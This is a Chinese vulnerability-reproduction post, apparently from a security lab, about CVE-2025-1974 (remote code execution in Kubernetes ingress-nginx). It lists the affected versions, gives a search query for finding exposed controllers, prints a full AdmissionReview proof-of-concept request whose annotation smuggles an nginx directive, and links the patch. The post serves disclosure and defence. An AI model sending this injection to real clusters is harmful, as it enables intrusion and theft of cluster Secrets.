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Kubernetes ingress-nginx是云原生计算基金会（Cloud Native Computing Foundation）开源的Kubernetes 的入口控制器，使用NGINX作为反向代理和负载均衡器。
Kubernetes ingress-nginx存在安全漏洞，该漏洞源于在某些条件下，未认证的攻击者可通过访问pod网络在ingress-nginx控制器环境中执行任意代码，可能导致Secrets泄露。
1、 ingress-nginx <= 1.12.0
2、 ingress-nginx <= 1.11.4
1.访问漏洞环境（ssl:"ingress-nginx" port:8443）
2.对漏洞进行复现
POC
漏洞复现
POST / HTTP/1.1Host: 127.0.0.1:8443Content-Type: application/jsonContent-Length: 1599{"kind": "AdmissionReview","apiVersion": "admission.k8s.io/v1","request": {"uid": "d48aa397-c414-4fb2-a2b0-b28187daf8a6","kind": {"group": "networking.k8s.io","version": "v1","kind": "Ingress"},"resource": {"group": "networking.k8s.io","version": "v1","resource": "ingresses"},"requestKind": {"group": "networking.k8s.io","version": "v1","kind": "Ingress"},"requestResource": {"group": "networking.k8s.io","version": "v1","resource": "ingresses"},"name": "test-ee05c512-4ea7-418b-b4aa-9fc5a10874ee","namespace": "default","operation": "CREATE","userInfo": {},"object": {"kind": "Ingress","apiVersion": "networking.k8s.io/v1","metadata": {"name": "test-ee05c512-4ea7-418b-b4aa-9fc5a10874ee","namespace": "default","creationTimestamp": null,"annotations": {"nginx.ingress.kubernetes.io/auth-url": "http://example.com#;load_module test;n"}},"spec": {"ingressClassName": "nginx","rules": [{"host": "ee05c512-4ea7-418b-b4aa-9fc5a10874ee","http": {"paths": []}}]},"status": {"loadBalancer": {}}},"oldObject": null,"dryRun": true,"options": {"kind": "CreateOptions","apiVersion": "meta.k8s.io/v1"}}}
证明漏洞存在
3.Yakit插件测试
目前厂商已发布升级补丁以修复漏洞，补丁获取链接：
https://github.com/kubernetes/ingress-nginx/releases/tag/controller-v1.12.1详细了解推荐阅读下文
https://mp.weixin.qq.com/s/JjdtzRVin9zedz8bdHh9Rg
原文始发于微信公众号（弥天安全实验室）：【成功复现】Ingress NGINX Controller远程代码执行漏洞(CVE-2025-1974)
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